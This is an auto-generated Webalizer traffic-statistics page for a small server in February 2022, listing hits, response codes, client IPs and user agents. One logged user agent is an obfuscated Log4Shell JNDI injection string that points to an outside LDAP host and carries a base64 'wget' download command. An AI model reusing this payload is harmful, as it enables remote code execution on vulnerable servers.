Usage statistics for vps04.pagezo.de

Summary Period: February 2022
Generated 02-Mar-2022 03:10 CET

[Daily Statistics] [Hourly Statistics] [URLs] [Entry] [Exit] [Sites] [Referrers] [Search] [Agents] [Countries]

Monthly Statistics for February 2022
Total Hits 214
Total Files 55
Total Pages 83
Total Visits 58
Total kB Files 283
Total kB In 0
Total kB Out 0
Total Unique Sites 67
Total Unique URLs 1
Total Unique Referrers 2
Total Unique User Agents 28
. Avg Max
Hits per Hour 8 67
Hits per Day 214 214
Files per Day 55 55
Pages per Day 83 83
Sites per Day 67 67
Visits per Day 58 58
kB Files per Day 283 283
kB In per Day 0 0
kB Out per Day 0 0
Hits by Response Code
Code 200 - OK 25.70% 55
Code 301 - Moved Permanently 2.80% 6
Code 400 - Bad Request 4.21% 9
Code 404 - Not Found 67.29% 144

Daily usage for February 2022

Daily Statistics for February 2022
Day Hits Files Pages Visits Sites kB F kB In kB Out
28 214 100.00% 55 100.00% 83 100.00% 58 100.00% 67 100.00% 283 100.00% 0 0.00% 0 0.00%

Hourly usage for February 2022

Hourly Statistics for February 2022
Hour Hits Files Pages kB F kB In kB Out
Avg Total Avg Total Avg Total Avg Total Avg Total Avg Total
0 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
1 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
2 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
3 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
4 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
5 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00% 0 0 0.00%
6 4 4 1.87% 0 0 0.00% 2 2 2.41% 11 11 3.83% 0 0 0.00% 0 0 0.00%
7 7 7 3.27% 3 3 5.45% 3 3 3.61% 17 17 5.93% 0 0 0.00% 0 0 0.00%
8 6 6 2.80% 1 1 1.82% 1 1 1.20% 12 12 4.15% 0 0 0.00% 0 0 0.00%
9 9 9 4.21% 2 2 3.64% 3 3 3.61% 23 23 8.07% 0 0 0.00% 0 0 0.00%
10 8 8 3.74% 1 1 1.82% 4 4 4.82% 4 4 1.33% 0 0 0.00% 0 0 0.00%
11 11 11 5.14% 3 3 5.45% 5 5 6.02% 9 9 3.10% 0 0 0.00% 0 0 0.00%
12 5 5 2.34% 0 0 0.00% 0 0 0.00% 2 2 0.81% 0 0 0.00% 0 0 0.00%
13 6 6 2.80% 2 2 3.64% 2 2 2.41% 7 7 2.61% 0 0 0.00% 0 0 0.00%
14 5 5 2.34% 1 1 1.82% 1 1 1.20% 2 2 0.83% 0 0 0.00% 0 0 0.00%
15 13 13 6.07% 6 6 10.91% 8 8 9.64% 20 20 7.11% 0 0 0.00% 0 0 0.00%
16 7 7 3.27% 2 2 3.64% 3 3 3.61% 8 8 2.81% 0 0 0.00% 0 0 0.00%
17 13 13 6.07% 3 3 5.45% 6 6 7.23% 19 19 6.82% 0 0 0.00% 0 0 0.00%
18 17 17 7.94% 7 7 12.73% 7 7 8.43% 45 45 15.72% 0 0 0.00% 0 0 0.00%
19 67 67 31.31% 15 15 27.27% 22 22 26.51% 66 66 23.25% 0 0 0.00% 0 0 0.00%
20 6 6 2.80% 0 0 0.00% 2 2 2.41% 2 2 0.65% 0 0 0.00% 0 0 0.00%
21 6 6 2.80% 1 1 1.82% 2 2 2.41% 7 7 2.55% 0 0 0.00% 0 0 0.00%
22 13 13 6.07% 5 5 9.09% 8 8 9.64% 15 15 5.30% 0 0 0.00% 0 0 0.00%
23 11 11 5.14% 3 3 5.45% 4 4 4.82% 15 15 5.14% 0 0 0.00% 0 0 0.00%

Top 1 of 1 Total URLs
# Hits kB F kB In kB Out URL
1 55 25.70% 129 45.45% 0 0.00% 0 0.00% /

Top 1 of 1 Total URLs By kB F
# Hits kB F kB In kB Out URL
1 55 25.70% 129 45.45% 0 0.00% 0 0.00% /

Top 1 of 1 Total Entry Pages
# Hits Visits URL
1 55 25.70% 41 100.00% /

Top 1 of 1 Total Exit Pages
# Hits Visits URL
1 55 25.70% 38 100.00% /

Top 30 of 67 Total Sites
# Hits Files kB F kB In kB Out Visits Hostname
1 42 19.63% 5 9.09% 27 9.42% 0 0.00% 0 0.00% 1 1.72% 20.114.152.163
2 12 5.61% 0 0.00% 5 1.94% 0 0.00% 0 0.00% 0 0.00% 64.78.149.164
3 11 5.14% 5 9.09% 23 8.16% 0 0.00% 0 0.00% 6 10.34% 45.146.165.37
4 10 4.67% 0 0.00% 5 1.61% 0 0.00% 0 0.00% 0 0.00% 18.116.86.117
5 9 4.21% 0 0.00% 4 1.45% 0 0.00% 0 0.00% 0 0.00% 34.219.87.132
6 8 3.74% 0 0.00% 4 1.29% 0 0.00% 0 0.00% 0 0.00% 18.159.196.172
7 6 2.80% 0 0.00% 3 0.97% 0 0.00% 0 0.00% 0 0.00% 18.192.36.99
8 6 2.80% 3 5.45% 21 7.39% 0 0.00% 0 0.00% 1 1.72% 62.138.3.52
9 5 2.34% 2 3.64% 2 0.88% 0 0.00% 0 0.00% 2 3.45% 192.154.241.15
10 5 2.34% 0 0.00% 2 0.81% 0 0.00% 0 0.00% 0 0.00% 66.133.109.36
11 5 2.34% 1 1.82% 16 5.66% 0 0.00% 0 0.00% 1 1.72% 85.25.177.219
12 4 1.87% 2 3.64% 20 7.07% 0 0.00% 0 0.00% 1 1.72% 183.136.226.3
13 4 1.87% 2 3.64% 11 4.00% 0 0.00% 0 0.00% 1 1.72% 185.162.74.29
14 4 1.87% 0 0.00% 2 0.65% 0 0.00% 0 0.00% 0 0.00% 3.19.56.43
15 4 1.87% 0 0.00% 2 0.65% 0 0.00% 0 0.00% 0 0.00% 34.221.255.206
16 4 1.87% 0 0.00% 2 0.68% 0 0.00% 0 0.00% 0 0.00% 45.137.23.152
17 4 1.87% 2 3.64% 11 4.00% 0 0.00% 0 0.00% 1 1.72% 45.87.61.162
18 4 1.87% 0 0.00% 2 0.65% 0 0.00% 0 0.00% 0 0.00% 52.39.4.59
19 4 1.87% 2 3.64% 11 4.00% 0 0.00% 0 0.00% 1 1.72% 59.36.168.250
20 3 1.40% 2 3.64% 1 0.35% 0 0.00% 0 0.00% 1 1.72% 167.248.133.62
21 3 1.40% 0 0.00% 1 0.48% 0 0.00% 0 0.00% 0 0.00% 3.120.130.29
22 3 1.40% 0 0.00% 1 0.48% 0 0.00% 0 0.00% 0 0.00% 3.142.122.14
23 3 1.40% 0 0.00% 1 0.51% 0 0.00% 0 0.00% 1 1.72% 5.196.151.18
24 2 0.93% 0 0.00% 0 0.00% 0 0.00% 0 0.00% 1 1.72% 157.245.70.127
25 2 0.93% 2 3.64% 10 3.70% 0 0.00% 0 0.00% 2 3.45% 157.55.39.199
26 2 0.93% 0 0.00% 10 3.65% 0 0.00% 0 0.00% 0 0.00% 157.55.39.23
27 2 0.93% 2 3.64% 10 3.58% 0 0.00% 0 0.00% 1 1.72% 162.142.125.210
28 2 0.93% 2 3.64% 1 0.37% 0 0.00% 0 0.00% 1 1.72% 205.185.114.157
29 2 0.93% 1 1.82% 0 0.06% 0 0.00% 0 0.00% 1 1.72% 34.147.13.150
30 2 0.93% 1 1.82% 1 0.19% 0 0.00% 0 0.00% 1 1.72% 34.74.244.210

Top 10 of 67 Total Sites By kB F
# Hits Files kB F kB In kB Out Visits Hostname
1 42 19.63% 5 9.09% 27 9.42% 0 0.00% 0 0.00% 1 1.72% 20.114.152.163
2 11 5.14% 5 9.09% 23 8.16% 0 0.00% 0 0.00% 6 10.34% 45.146.165.37
3 6 2.80% 3 5.45% 21 7.39% 0 0.00% 0 0.00% 1 1.72% 62.138.3.52
4 4 1.87% 2 3.64% 20 7.07% 0 0.00% 0 0.00% 1 1.72% 183.136.226.3
5 5 2.34% 1 1.82% 16 5.66% 0 0.00% 0 0.00% 1 1.72% 85.25.177.219
6 4 1.87% 2 3.64% 11 4.00% 0 0.00% 0 0.00% 1 1.72% 185.162.74.29
7 4 1.87% 2 3.64% 11 4.00% 0 0.00% 0 0.00% 1 1.72% 45.87.61.162
8 4 1.87% 2 3.64% 11 4.00% 0 0.00% 0 0.00% 1 1.72% 59.36.168.250
9 2 0.93% 2 3.64% 10 3.70% 0 0.00% 0 0.00% 2 3.45% 157.55.39.199
10 2 0.93% 0 0.00% 10 3.65% 0 0.00% 0 0.00% 0 0.00% 157.55.39.23

Top 2 of 2 Total Referrers
# Hits Referrer
1 212 99.07% - (Direct Request)
2 2 0.93% t('

Top 15 of 28 Total User Agents
# Hits User Agent
1 68 31.78% Mozilla/5.0 (compatible; Let's Encrypt validation server; +https://www.letsencrypt.org)
2 42 19.63% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36
3 16 7.48% Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36
4 11 5.14% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
5 11 5.14% Mozilla/5.0 (X11; Linux x86_64; rv:81.0) Gecko/20100101 Firefox/81.0
6 5 2.34% Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)
7 4 1.87% Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36
8 4 1.87% Mozilla/5.0 (iPad; CPU OS 7_1_2 like Mac OS X; en-US) AppleWebKit/531.5.2 (KHTML, like Gecko) Version/4.0.5 Mobile/8B116 Safa
9 4 1.87% Mozilla/5.0 zgrab/0.x
10 3 1.40% Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE
11 3 1.40% undici
12 2 0.93% Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36
13 2 0.93% Mozilla/5.0 (compatible; AhrefsBot/7.0; +http://ahrefs.com/robot/)
14 2 0.93% Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)
15 2 0.93% t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//205.185.114.157:2420/TomcatBypass/Command/Base64/d2dldCA0Ni4

Usage by Country for February 2022

Top 1 of 1 Total Countries
# Hits Files kB F kB In kB Out Country
1 214 100.00% 55 100.00% 283 100.00% 0 0.00% 0 0.00% Unresolved/Unknown


Generated by Webalizer Version 2.23